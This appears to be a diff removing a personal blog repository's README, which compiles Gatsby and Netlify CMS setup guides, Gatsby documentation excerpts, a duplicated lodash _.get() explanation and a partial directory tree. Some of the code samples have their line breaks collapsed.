-[**🌍⇒docs/quick-reference/installation🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/installation)
-
-[**🌍⇒docs/quick-reference/markdown-dropdowns🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/markdown-dropdowns)
-
-[**🌍⇒docs/quick-reference/minifiction🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/minifiction)
-
-[**🌍⇒docs/quick-reference/new-repo-instructions🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions)
-
-[**🌍⇒docs/quick-reference/psql-setup🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/psql-setup)
-
-[**🌍⇒docs/quick-reference/pull-request-rubric🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/pull-request-rubric)
-
-[**🌍⇒docs/quick-reference/quick-links🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/quick-links)
-
-[**🌍⇒docs/quick-reference/topRepos🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/topRepos)
-
-[**🌍⇒docs/quick-reference/understanding-path🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/understanding-path)
-
-[**🌍⇒docs/quick-reference/vscode-themes🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/vscode-themes)
-
-[**🌍⇒docs/react/cheatsheet🗺️**](https://bgoonz-blog.netlify.app/docs/react/cheatsheet)
-
-[**🌍⇒docs/react/createReactApp🗺️**](https://bgoonz-blog.netlify.app/docs/react/createReactApp)
-
-[**🌍⇒docs/react/demo🗺️**](https://bgoonz-blog.netlify.app/docs/react/demo)
-
-[**🌍⇒docs/react/jsx🗺️**](https://bgoonz-blog.netlify.app/docs/react/jsx)
-
-[**🌍⇒docs/react/react-docs🗺️**](https://bgoonz-blog.netlify.app/docs/react/react-docs)
-
-[**🌍⇒docs/react/react-in-depth🗺️**](https://bgoonz-blog.netlify.app/docs/react/react-in-depth)
-
-[**🌍⇒docs/react/react2🗺️**](https://bgoonz-blog.netlify.app/docs/react/react2)
-
-[**🌍⇒docs/react/render-elements🗺️**](https://bgoonz-blog.netlify.app/docs/react/render-elements)
-
-[**🌍⇒docs/reference/awesome-lists🗺️**](https://bgoonz-blog.netlify.app/docs/reference/awesome-lists)
-
-[**🌍⇒docs/reference/awesome-static🗺️**](https://bgoonz-blog.netlify.app/docs/reference/awesome-static)
-
-[**🌍⇒docs/reference/bookmarks🗺️**](https://bgoonz-blog.netlify.app/docs/reference/bookmarks)
-
-[**🌍⇒docs/reference/embed-the-web🗺️**](https://bgoonz-blog.netlify.app/docs/reference/embed-the-web)
-
-[**🌍⇒docs/reference/github-search🗺️**](https://bgoonz-blog.netlify.app/docs/reference/github-search)
-
-[**🌍⇒docs/reference/how-2-reinstall-npm🗺️**](https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm)
-
-[**🌍⇒docs/reference/how-to-kill-a-process🗺️**](https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process)
-
-[**🌍⇒docs/reference/installing-node🗺️**](https://bgoonz-blog.netlify.app/docs/reference/installing-node)
-
-[**🌍⇒docs/reference/intro-to-nodejs🗺️**](https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs)
-
-[**🌍⇒docs/reference/notes-template🗺️**](https://bgoonz-blog.netlify.app/docs/reference/notes-template)
-
-[**🌍⇒docs/reference/psql🗺️**](https://bgoonz-blog.netlify.app/docs/reference/psql)
-
-[**🌍⇒docs/reference/resources🗺️**](https://bgoonz-blog.netlify.app/docs/reference/resources)
-
-[**🌍⇒docs/reference/vscode🗺️**](https://bgoonz-blog.netlify.app/docs/reference/vscode)
-
-[**🌍⇒docs/reference/web-api's🗺️**](https://bgoonz-blog.netlify.app/docs/reference/web-api's)
-
-[**🌍⇒docs/tools/data-structures🗺️**](https://bgoonz-blog.netlify.app/docs/tools/data-structures)
-
-[**🌍⇒docs/tools/dev-utilities🗺️**](https://bgoonz-blog.netlify.app/docs/tools/dev-utilities)
-
-[**🌍⇒docs/tools/google-cloud🗺️**](https://bgoonz-blog.netlify.app/docs/tools/google-cloud)
-
-[**🌍⇒docs/tools/markdown-html🗺️**](https://bgoonz-blog.netlify.app/docs/tools/markdown-html)
-
-[**🌍⇒docs/tools/more-tools🗺️**](https://bgoonz-blog.netlify.app/docs/tools/more-tools)
-
-[**🌍⇒docs/tutorials/google-lighthouse-cli🗺️**](https://bgoonz-blog.netlify.app/docs/tutorials/google-lighthouse-cli)
-
-</details>
-
----
-
----
-
----
-
-<details>
-<summary>  ↞↠ Getting Started With GatsbyJS ↞↠  </summary>
-#
-
----
-
-## 🚀 Quick start
-
-1. **Create a Gatsby site.**
-
-    Use the Gatsby CLI to create a new site, specifying the default starter.
-
-```bashell
-   # create a new Gatsby site using the default starter
-   gatsby new my-default-starter https://github.com/gatsbyjs/gatsby-starter-default
-```
-
-1. **Start developing.**
-
-    Navigate into your new site's directory and start it up.
-
-```bashell
-   cd my-default-starter/
-   gatsby develop
-```
-
-1. **Open the source code and start editing!**
-
-    Your site is now running at `http://localhost:8000`!
-
-    *Note: You'll also see a second link:*`http://localhost:8000/___graphql`_. This is a tool you can use to experiment with querying your data. Learn more about using this tool in the [Gatsby tutorial](https://www.gatsbyjs.com/tutorial/part-five/#introducing-graphiql)._
-
-    Open the `my-default-starter` directory in your code editor of choice and edit `src/pages/index.js`. Save your changes and the browser will update in real time!
-
-## 🧐 What's inside?
-
-A quick look at the top-level files and directories you'll see in a Gatsby project.
-
-    .
-    ├── node_modules
-    ├── src
-    ├── .gitignore
-    ├── .prettierrc
-    ├── gatsby-browser.js
-    ├── gatsby-config.js
-    ├── gatsby-node.js
-    ├── gatsby-ssr.js
-    ├── LICENSE
-    ├── package-lock.json
-    ├── package.json
-    └── README.md
-
-1. **`/node_modules`**: This directory contains all of the modules of code that your project depends on (npm packages) are automatically installed.
-
-2. **`/src`**: This directory will contain all of the code related to what you will see on the front-end of your site (what you see in the browser) such as your site header or a page template. `src` is a convention for "source code".
-
-3. **`.gitignore`**: This file tells git which files it should not track / not maintain a version history for.
-
-4. **`.prettierrc`**: This is a configuration file for [Prettier](https://prettier.io/). Prettier is a tool to help keep the formatting of your code consistent.
-
-5. **`gatsby-browser.js`**: This file is where Gatsby expects to find any usage of the [Gatsby browser APIs](https://www.gatsbyjs.com/docs/browser-apis/) (if any). These allow customization/extension of default Gatsby settings affecting the browser.
-
-6. **`gatsby-config.js`**: This is the main configuration file for a Gatsby site. This is where you can specify information about your site (metadata) like the site title and description, which Gatsby plugins you'd like to include, etc. (Check out the [config docs](https://www.gatsbyjs.com/docs/gatsby-config/) for more detail).
-
-7. **`gatsby-node.js`**: This file is where Gatsby expects to find any usage of the [Gatsby Node APIs](https://www.gatsbyjs.com/docs/node-apis/) (if any). These allow customization/extension of default Gatsby settings affecting pieces of the site build process.
-
-8. **`gatsby-ssr.js`**: This file is where Gatsby expects to find any usage of the [Gatsby server-side rendering APIs](https://www.gatsbyjs.com/docs/ssr-apis/) (if any). These allow customization of default Gatsby settings affecting server-side rendering.
-
-9. **`LICENSE`**: This Gatsby starter is licensed under the 0BSD license. This means that you can see this file as a placeholder and replace it with your own license.
-
-10. **`package-lock.json`** (See `package.json` below, first). This is an automatically generated file based on the exact versions of your npm dependencies that were installed for your project. **(You won't change this file directly).**
-
-11. **`package.json`**: A manifest file for Node.js projects, which includes things like metadata (the project's name, author, etc). This manifest is how npm knows which packages to install for your project.
-
-12. **`README.md`**: A text file containing useful reference information about your project.
-
-## 🎓 Learning Gatsby
-
-Looking for more guidance? Full documentation for Gatsby lives [on the website](https://www.gatsbyjs.com/). Here are some places to start:
-
--   **For most developers, we recommend starting with our [in-depth tutorial for creating a site with Gatsby**](https://www.gatsbyjs.com/tutorial/).\*\* It starts with zero assumptions about your level of ability and walks through every step of the process.
--
--   **To dive straight into code samples, head [to our documentation**](https://www.gatsbyjs.com/docs/).\*\* In particular, check out the *Guides*, *API Reference*, and *Advanced Tutorials* sections in the sidebar.
-
-## 💫 Deploy
-
-[![Deploy to Netlify**](https://www.netlify.com/img/deploy/button.svg)](https://app.netlify.com/start/deploy?repository=https://github.com/BGOONZ_BLOG_2.0.git)
-
-[![Deploy with Vercel**](https://vercel.com/button)](https://vercel.com/import/project?template=https://github.com/BGOONZ_BLOG_2.0.git)
-
----
-### Gatsby With Netlify CMS
-
-This tutorial will use [gatsby-personal-starter-blog](https://github.com/thomaswang/gatsby-personal-starter-blog), a Gatsby starter based on the official [gatsby-starter-blog](/starters/gatsbyjs/gatsby-starter-blog/). The differences are that `gatsby-personal-starter-blog` is configured to run the blog on a subdirectory, `/blog`, and comes pre-installed with [Netlify CMS](https://www.netlifycms.org/) for content editing. It also adds VS Code highlighting for code blocks.
-
-## Prerequisites
-
-- A GitHub account
-- The [Gatsby CLI](/docs/reference/gatsby-cli/) installed
-
-## Set up a Netlify CMS-managed Gatsby site in 5 steps
-
-### Step 1
-
-Open your Terminal and run the following command from the Gatsby CLI to create a new Gatsby site using [gatsby-personal-starter-blog](https://github.com/thomaswang/gatsby-personal-starter-blog).
-
-```shell
-gatsby new [your-project-name] https://github.com/thomaswangio/gatsby-personal-starter-blog
-```
-
-### Step 2
-
-Once the Gatsby site is finished installing all the packages and dependencies, you can now go into the directory and run the site locally.
-
-```shell
-cd [your-project-name]
-gatsby develop
-```
-
-Now you can go to `http://localhost:8000` to see your new site, but what's extra cool is that Netlify CMS is pre-installed and you can access it at `http://localhost:8000/admin`
-
-A CMS, or content management system, is useful because you can add content like blog posts from a dashboard on your site, instead of having to add posts manually with Markdown. However, you'll likely want to be able to access the CMS from a deployed website, not just locally. For that, you'll need to deploy to Netlify through GitHub, set up continuous deployment, and do a few configurations. You'll go over this in [Step-5](#step-5).
-
-### Step 3
-
-Open the project in your code editor and open `static/admin/config.yml`. Replace `your-username/your-repo-name` with your GitHub username and project name. This step is important for managing and deploying the Netlify CMS interface.
-
-```diff
-backend:
--  name: test-repo
-
-+  name: github
-+  repo: your-username/your-repo-name
-```
-
-#### Customizing your site
-
-Head into `gatsby-config.js` and you can edit your siteMetadata, add a Google Analytics tracking ID, and your app icon/favicon. Test out the edits for the deployed build by quitting the development server and running `gatsby build && gatsby serve`.
-
-You'll likely also want to edit the `README.md` and `package.json` files to include your own project details.
-
-### Step 4
-
-Open [github.com](https://github.com) and create a new repository, with the same name as your project. Push your new Gatsby site's code to GitHub using the following Terminal commands:
-
-```shell
-git init
-git add .
-git commit -m "initial commit"
-git remote add origin https://github.com/[your-username]/[your-repo-name].git
-git push -u origin master
-```
-
-Then, open [app.netlify.com](https://app.netlify.com) and add a "New site from Git". Choose your newly created repo and click on "Deploy site" with the default deployment settings.
-
-> *Note: if you don't see the correct repo listed, you may need to install or reconfigure the Netlify app on GitHub.*
-
-![Netlify Dashboard for Creating a new site](netlify-dashboard.png)
-
-### Step 5
-
-To make sure that Netlify CMS has access to your GitHub repo, you need to set up an OAuth application on GitHub. The instructions for that are here: [Netlify's Using an Authorization Provider](https://www.netlify.com/docs/authentication-providers/#using-an-authentication-provider).
-
-For the "Homepage URL" – you can use your Netlify subdomain, `[name-of-your-site].netlify.com`, or you can use a custom domain. To customize the subdomain, look for the "Edit site name" field under "Domain Management" for your project on the [Netlify app](https://app.netlify.com). To connect your Netlify site to your custom domain instead, see [Netlify’s instructions on custom domains](https://www.netlify.com/docs/custom-domains/).
-
-Once you've configured an authentication provider then you'll be able to use Netlify CMS at your deployed site to add new posts.
-
-![Netlify and GitHub Authorization](https://cdn.netlify.com/67edd5b656c432888d736cd40125cb61376905bb/c1cba/img/docs/github-oauth-config.png)
-
-Copy the credentials of your new app listed on [GitHub OAuth Apps](https://github.com/settings/developers) and install a new auth provider on Netlify using them.
-
-![Setting up access control](netlify-install-oauth-provider.png)
-
-#### Benefits of Netlify CMS, GitHub, and Netlify Workflow
-
-Congrats! Now that Netlify CMS is successfully configured to your project, every time you add a new post, the content will be stored in your repository and versioned on GitHub because Netlify CMS is Git-based. Also, thanks to [Netlify's Continuous Deployment](https://www.netlify.com/docs/continuous-deployment/), a new version will be deployed every time you add or edit a post.
-
-You can learn more about Netlify CMS and how to configure it further in the [Netlify CMS documentation](https://www.netlifycms.org/docs/intro/)
----
-
----
-
-## Gatsby Project Structure | Gatsby
-
-> ## Excerpt
->
-> Inside a Gatsby project, you may see some or all of the following folders and files: Folders /.cache Automatically generated. This folder…
-
----
-
-Inside a Gatsby project, you may see some or all of the following folders and files:
-
-```
-/|
--- /.cache
-|-- /plugins
-|-- /public
-|-- /src    
-|-- /api    
-|-- /pages    
-|-- /templates    
-|-- html.js
-|-- /static
-|-- gatsby-config.js
-|-- gatsby-node.js
-|-- gatsby-ssr.js
-|-- gatsby-browser.js
-```
-
-[Folders](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#folders)
-
--   **`/.cache`** *Automatically generated.* This folder is an internal cache created automatically by Gatsby. The files inside this folder are not meant for modification. Should be added to the `.gitignore` file if not added already.
--   **`/plugins`** This folder hosts any project-specific ("local") plugins that aren't published as an `npm` package. Check out the [plugin docs](https://www.gatsbyjs.com/docs/plugins/) for more detail.
--   **`/public`** *Automatically generated.* The output of the build process will be exposed inside this folder. Should be added to the `.gitignore` file if not added already.
--   **`/src`** This directory will contain all of the code related to what you will see on the frontend of your site (what you see in the browser), like your site header, or a page template. "src" is a convention for "source code".
-
-    -   **`/api`** JavaScript and TypeScript files under `src/api` become functions automatically with paths based on their file name. Check out the [functions guide](https://www.gatsbyjs.com/docs/reference/functions/) for more detail.
-    -   **`/pages`** Components under `src/pages` become pages automatically with paths based on their file name. Check out the [pages recipes](https://www.gatsbyjs.com/docs/recipes/pages-layouts) for more detail.
-    -   **`/templates`** Contains templates for programmatically creating pages. Check out the [templates docs](https://www.gatsbyjs.com/docs/conceptual/building-with-components/#page-template-components) for more detail.
-    -   **`html.js`** For custom configuration of default `.cache/default_html.js`. Check out the [custom HTML docs](https://www.gatsbyjs.com/docs/custom-html/) for more detail.
-
--   **`/static`** If you put a file into the static folder, it will not be processed by webpack. Instead it will be copied into the public folder untouched. Check out the [assets docs](https://www.gatsbyjs.com/docs/how-to/images-and-media/static-folder/#adding-assets-outside-of-the-module-system) for more detail.
-
-[Files](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#files)
-
--   **`gatsby-browser.js`**: This file is where Gatsby expects to find any usage of the [Gatsby browser APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-browser/) (if any). These allow customization/extension of default Gatsby settings affecting the browser.
--   **`gatsby-config.js`**: This is the main configuration file for a Gatsby site. This is where you can specify information about your site (metadata) like the site title and description, which Gatsby plugins you'd like to include, etc. Check out the [config docs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-config/) for more detail.
--   **`gatsby-node.js`**: This file is where Gatsby expects to find any usage of the [Gatsby node APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-node/) (if any). These allow customization/extension of default Gatsby settings affecting pieces of the site build process.
--   **`gatsby-ssr.js`**: This file is where Gatsby expects to find any usage of the [Gatsby server-side rendering APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/) (if any). These allow customization of default Gatsby settings affecting server-side rendering.
-
-[Misc](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous)
-[Misc](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous)
-
-The file/folder structure described above reflects Gatsby-specific files and folders. Since Gatsby sites are also React apps, it's common to use standard React code organization patterns such as folders like `/components` and `/utils` inside `/src`. The [React docs](https://reactjs.org/docs/faq-structure.html) have more information on a typical React app folder structure.
-
----
-
-
-
-
-
-#### Layout Components | Gatsby
-
-## Excerpt
-
-> In this guide, you'll learn Gatsby's approach to layouts, how to create and use layout components, and how to prevent layout components from…
-
----
-
-In this guide, you'll learn Gatsby's approach to layouts, how to create and use layout components, and how to prevent layout components from unmounting.
-
-[Gatsby's approach to layouts](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#gatsbys-approach-to-layouts)
-
-Gatsby does not, by default, automatically apply layouts to pages (there are, however, ways to do so which will be covered in a later section). Instead, Gatsby follows React's compositional model of importing and using components. This makes it possible to create multiple levels of layouts, e.g. a global header and footer, and then on some pages, a sidebar menu. It also makes it possible to pass data between layout and page components.
-
-[What are layout components?](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#what-are-layout-components)
-
-Layout components are for sections of your site that you want to share across multiple pages. For example, Gatsby sites will commonly have a layout component with a shared header and footer. Other common things to add to layouts are a sidebar and/or navigation menu. On this page for example, the header at the top is part of gatsbyjs.com's layout component.
-
-[How to create layout components](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-create-layout-components)
-
-It is recommended to create your layout components alongside the rest of your components (e.g. into `src/components/`).
-
-Here is an example of a very basic layout component at `src/components/layout.js`:
-
-```
-import React from "react"export default function Layout({ children }) {  return (    <div style={{ margin: `0 auto`, maxWidth: 650, padding: `0 1rem` }}>       {children}    </div>   )}
-```
-
-[](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-import-and-add-layout-components-to-pages)How to import and add layout components to pages
-
-If you want to apply a layout to a page, you will need to include the `Layout` component and wrap your page in it. For example, here is how you would apply your layout to the front page:
-
-```
-import React from "react"import Layout from "../components/layout"export default function Home() {  return (    <Layout>       <h1> I'm in a layout!</h1>     </Layout>   );}
-```
-
-Repeat for every page and template that needs this layout.
-
-[How to prevent layout components from unmounting](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-prevent-layout-components-from-unmounting)
-
-As mentioned earlier, Gatsby does not, by default, automatically wrap pages in a layout component. The "top level" component is the page itself. As a result, when the "top level" component changes between pages, React will re-render all children. This means that shared components like navigations will unmount and remount. This will break CSS transitions or React state within those shared components.
-
-If you need to set a wrapper component around page components that won't get unmounted on page changes, use the **`wrapPageElement`** [browser API](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-browser/#wrapPageElement) and the [SSR equivalent](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/#wrapPageElement).
-
-Alternatively, you can prevent your layout component from unmounting by using [gatsby-plugin-layout](https://www.gatsbyjs.com/plugins/gatsby-plugin-layout/), which implements the `wrapPageElement` APIs for you.
-
-## Adding Markdown Pages | Gatsby
-
-> ## Excerpt
->
-> Gatsby can use Markdown files to create pages in your site.
-> You add plugins to read and understand folders with Markdown files and from them…
-
----
-
-Gatsby can use Markdown files to create pages in your site. You add plugins to read and understand folders with Markdown files and from them create pages automatically.
-
-Here are the steps Gatsby follows for making this happen.
-
-1. Read files into Gatsby from the filesystem
-2. Transform Markdown to HTML and [frontmatter](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#frontmatter-for-metadata-in-markdown-files) to data
-3. Add a Markdown file
-4. Create a Collection Route component for the Markdown files
-
-[](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#read-files-into-gatsby-from-the-filesystem)Read files into Gatsby from the filesystem
-
-Use the plugin [`gatsby-source-filesystem`](https://www.gatsbyjs.com/plugins/gatsby-source-filesystem/#gatsby-source-filesystem) to read files.
-
-[](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#install)Install
-
-`npm install gatsby-source-filesystem`
-
-[Add Plugin](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#add-plugin)Add plugin
-
-Open `gatsby-config.js` to add the `gatsby-source-filesystem` plugin. The `path` option is how you set the directory to search for files.
-
-```
-module.exports = {  siteMetadata: {
-    title: "My Gatsby Site",  },  
-plugins: [    { 
-     resolve: `gatsby-source-filesystem`,      
-options: {
-        name: `markdown-pages`,      
-  path: `${__dirname}/src/markdown-pages`,      
-},  
-  },  
-],}
-```
-
-Completing the above step means that you've "sourced" the Markdown files from the filesystem. You can now "transform" the Markdown to HTML and the YAML frontmatter to JSON.
-
-[Transform Markdown to HTML and frontmatter to data using `gatsby-transformer-remark`](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#transform-markdown-to-html-and-frontmatter-to-data-using-gatsby-transformer-remark)
-
-You'll use the plugin [`gatsby-transformer-remark`](https://www.gatsbyjs.com/plugins/gatsby-transformer-remark/) to recognize files which are Markdown and read their content. The plugin will convert the frontmatter metadata part of your Markdown files as `frontmatter` and the content part as HTML.
-
-[Install transformer plugin](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#install-transformer-plugin)
-
-`npm install gatsby-transformer-remark`
-
-[Configure plugin](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#configure-plugin)
-
-Add this to `gatsby-config.js` after the previously added `gatsby-source-filesystem`.
-
-```
-module.exports = {  siteMetadata: {
-    title: "My Gatsby Site",  },  
-plugins: [    { 
-     resolve: `gatsby-source-filesystem`,      
-options: {
-        name: `markdown-pages`,      
-  path: `${__dirname}/src/markdown-pages`,      
-},  
-  },  
-  `gatsby-transformer-remark`,  ],
-}
-```
-
-[Add a Markdown file](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#add-a-markdown-file)
-
-Create a folder in the `/src` directory of your Gatsby application called `markdown-pages`. Now create a Markdown file inside it with the name `post-1.md`.
-
-[Frontmatter for metadata in Markdown files](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#frontmatter-for-metadata-in-markdown-files)
-
-When you create a Markdown file, you can include a set of key/value pairs that can be used to provide additional data relevant to specific pages in the GraphQL data layer. This data is called "frontmatter" and is denoted by the triple dashes at the start and end of the block. This block will be parsed by `gatsby-transformer-remark` as YAML. You can then query the data through the GraphQL API from your React components.
-
-src/markdown-pages/post-1.md
-
-```
----slug: "/blog/my-first-post"date: "2019-05-04"title: "My first blog post"---
-```
-
-What is important in this step is the key pair `slug`. The value that is assigned to the key `slug` is used in order to navigate to your post.
-
-[](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#create-a-collection-route-for-the-markdown-files)Create a Collection Route for the Markdown files
-
-Create `src/pages/{MarkdownRemark.frontmatter__slug}.js` and add the following code:
-
-src/pages/{MarkdownRemark.frontmatter\_\_slug}.js
-
-```
-import React from "react"
-import { graphql } from "gatsby"export default function Template({  data, }) {  const { markdownRemark } = data   const { frontmatter, html } = markdownRemark  return (    <div className="blog-post-container">       <div className="blog-post">         <h1> {frontmatter.title}</h1>         <h2> {frontmatter.date}</h2>         <div          className="blog-post-content"          dangerouslySetInnerHTML={{ __html: html }}        />       </div>     </div>   )}export const pageQuery = graphql`  query($id: String!) {    markdownRemark(id: {
- eq: $id }) {      html      frontmatter {        date(formatString: "MMMM DD, YYYY")        slug        title      }    }  }`
-```
-
-Two things are important in the file above:
-
-1. A GraphQL query is made in the second half of the file to get the Markdown data. Gatsby has automagically given you all the Markdown metadata and HTML in this query's result.
-
-    **Note: To learn more about GraphQL, consider this [excellent resource](https://www.howtographql.com/)**
-
-2. The result of the query is injected by Gatsby into the component as the `data` prop. `props.data.markdownRemark` is the property that has all the details of the Markdown file.
-
-Next you could create a page component at `src/pages/blog/index.js` to serve as a listing page for all your blog posts.
-
-This should get you started on some basic Markdown functionality in your Gatsby site. You can further customize the frontmatter and the component file to get desired effects!
-
-For more information, have a look in the working example `using-markdown-pages`. You can find it in the [Gatsby examples section](https://github.com/gatsbyjs/gatsby/tree/master/examples).
-
-[Other tutorials](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#other-tutorials)
-
-</details>
-
----
-
-### Overview
-
-The **`_.get()` method** in Lodash retrieves the object’s value at a specific path.
-
-If the value is not present at the object’s specific path, it will be resolved as `undefined`. This method will return the default value if specified in such a case.
-
-### Syntax
-
-```js
-_.get(object, path, defaultValue)
-```
-
-### Parameters
-
-This method accepts the following parameters:
-
--   **`object`**: The object in which the given path will be queried.
--   **`path`**: The path used to retrieve the value from the object.
--   **`defaultValue`**: The default value that will be returned for resolved values that are undefined.
-
-### Return value
-
-This method will return the value at the specified path if found. Otherwise, it will return the default value if specified.
-
-### Example
-
-Let’s look at an example of the `_.get()` method in the code snippet below:
-
-### Explanation
-
-In the HTML tab:
-
--   **Line 5**: We import the `lodash` script.
-
-In the JavaScript tab:
-
--   **Lines 2 to 15**: We create an object to perform a query.
-
--   **Line 18**: We define a variable `collegeYopPath` to get the value.
-
--   **Lines 19**: We use the `_.get()` method and pass the `object`, `collegeYopPath`, and a default value as parameters.
-
--   **Line 22**: We define a variable `falsyPath` to get the value.
-
--   **Lines 23**: We use the `_.get()` method and pass the `object`, `falsyPath` and a `default value` as parameters.
-
-### Output
-
--   The `_.get()` method at **line 19** contains a valid path, and therefore the expression is resolved, and `2021` is printed on the console.
--   The `_.get()` method at **Line 23** contains an invalid path, and therefore the expression is resolved as `undefined`.
-
-## Technoloy
-
-![tech-stack](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/madewith.png?raw=true)
-
----
-
-## SOURCECODE
-
----
-
-
-
-### Overview
-
-The **`_.get()` method** in Lodash retrieves the object’s value at a specific path.
-
-If the value is not present at the object’s specific path, it will be resolved as `undefined`. This method will return the default value if specified in such a case.
-
-### Syntax
-
-```js
-_.get(object, path, defaultValue)
-```
-
-### Parameters
-
-This method accepts the following parameters:
-
--   **`object`**: The object in which the given path will be queried.
--   **`path`**: The path used to retrieve the value from the object.
--   **`defaultValue`**: The default value that will be returned for resolved values that are undefined.
-
-### Return value
-
-This method will return the value at the specified path if found. Otherwise, it will return the default value if specified.
-
-### Example
-
-Let’s look at an example of the `_.get()` method in the code snippet below:
-
-### Explanation
-
-In the HTML tab:
-
--   **Line 5**: We import the `lodash` script.
-
-In the JavaScript tab:
-
--   **Lines 2 to 15**: We create an object to perform a query.
-
--   **Line 18**: We define a variable `collegeYopPath` to get the value.
-
--   **Lines 19**: We use the `_.get()` method and pass the `object`, `collegeYopPath`, and a default value as parameters.
-
--   **Line 22**: We define a variable `falsyPath` to get the value.
-
--   **Lines 23**: We use the `_.get()` method and pass the `object`, `falsyPath` and a `default value` as parameters.
-
-### Output
-
--   The `_.get()` method at **line 19** contains a valid path, and therefore the expression is resolved, and `2021` is printed on the console.
--   The `_.get()` method at **Line 23** contains an invalid path, and therefore the expression is resolved as `undefined`.
-
-
----
-
-```
-
-bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$ tree -f
-.
-├── ./components
-│   ├── ./components/ActionLink.js
-│   ├── ./components/CtaButtons.js
-│   ├── ./components/DocsMenu.js
-│   ├── ./components/DocsSubmenu.js
-│   ├── ./components/Footer.js
-│   ├── ./components/Header.js
-│   ├── ./components/Icon.js
-│   ├── ./components/Layout.js
-│   ├── ./components/SectionContent.js
-│   ├── ./components/SectionCta.js
-│   ├── ./components/SectionDocs.js
-│   ├── ./components/SectionGrid.js
-│   ├── ./components/SectionHero.js
-│   ├── ./components/Submenu.js
-│   ├── ./components/global.css
-│   └── ./components/index.js
-├── ./data
-│   └── ./data/doc_sections.yml
-├── ./hooks
-│   └── ./hooks/useScript.js
-├── ./html.js
-├── ./pages
-│   ├── ./pages/blog
-│   │   ├── ./pages/blog/blog-archive.md
-│   │   ├── ./pages/blog/blogwcomments.md
-│   │   ├── ./pages/blog/data-structures.md
-│   │   ├── ./pages/blog/index.md
-│   │   ├── ./pages/blog/my-medium.md
-│   │   ├── ./pages/blog/platform-docs.md
-│   │   ├── ./pages/blog/python-for-js-dev.md
-│   │   ├── ./pages/blog/python-resources.md
-│   │   └── ./pages/blog/web-scraping.md
-│   ├── ./pages/docs
-│   │   ├── ./pages/docs/about
-│   │   │   ├── ./pages/docs/about/index.md
-│   │   │   ├── ./pages/docs/about/me.md
-│   │   │   ├── ./pages/docs/about/node
-│   │   │   │   ├── ./pages/docs/about/node/install.md
-│   │   │   │   ├── ./pages/docs/about/node/intro.md
-│   │   │   │   ├── ./pages/docs/about/node/nodejs.md
-│   │   │   │   ├── ./pages/docs/about/node/nodevsbrowser.md
-│   │   │   │   ├── ./pages/docs/about/node/reading-files.md
-│   │   │   │   └── ./pages/docs/about/node/writing-files.md
-│   │   │   ├── ./pages/docs/about/npm.md
-│   │   │   └── ./pages/docs/about/resume.md
-│   │   ├── ./pages/docs/articles
-│   │   │   ├── ./pages/docs/articles/algo.md
-│   │   │   ├── ./pages/docs/articles/article-compilation.md
-│   │   │   ├── ./pages/docs/articles/basic-web-dev.md
-│   │   │   ├── ./pages/docs/articles/gists.md
-│   │   │   ├── ./pages/docs/articles/index.md
-│   │   │   ├── ./pages/docs/articles/install.md
-│   │   │   ├── ./pages/docs/articles/intro.md
-│   │   │   ├── ./pages/docs/articles/python.md
-│   │   │   ├── ./pages/docs/articles/reading-files.md
-│   │   │   ├── ./pages/docs/articles/resources.md
-│   │   │   ├── ./pages/docs/articles/ten-jamstack-apis-to-checkout.md
-│   │   │   └── ./pages/docs/articles/writing-files.md
-│   │   ├── ./pages/docs/docs
-│   │   │   └── ./pages/docs/docs/tools
-│   │   │       └── ./pages/docs/docs/tools/file-types.md
-│   │   ├── ./pages/docs/faq
-│   │   │   ├── ./pages/docs/faq/contact.md
-│   │   │   └── ./pages/docs/faq/index.md
-│   │   ├── ./pages/docs/gists.md
-│   │   ├── ./pages/docs/index.md
-│   │   ├── ./pages/docs/interact
-│   │   │   ├── ./pages/docs/interact/clock.md
-│   │   │   ├── ./pages/docs/interact/index.md
-│   │   │   └── ./pages/docs/interact/jupyter-notebooks.md
-│   │   ├── ./pages/docs/links
-│   │   │   ├── ./pages/docs/links/index.md
-│   │   │   ├── ./pages/docs/links/medium-links.md
-│   │   │   ├── ./pages/docs/links/my-websites.md
-│   │   │   └── ./pages/docs/links/social.md
-│   │   ├── ./pages/docs/quick-reference
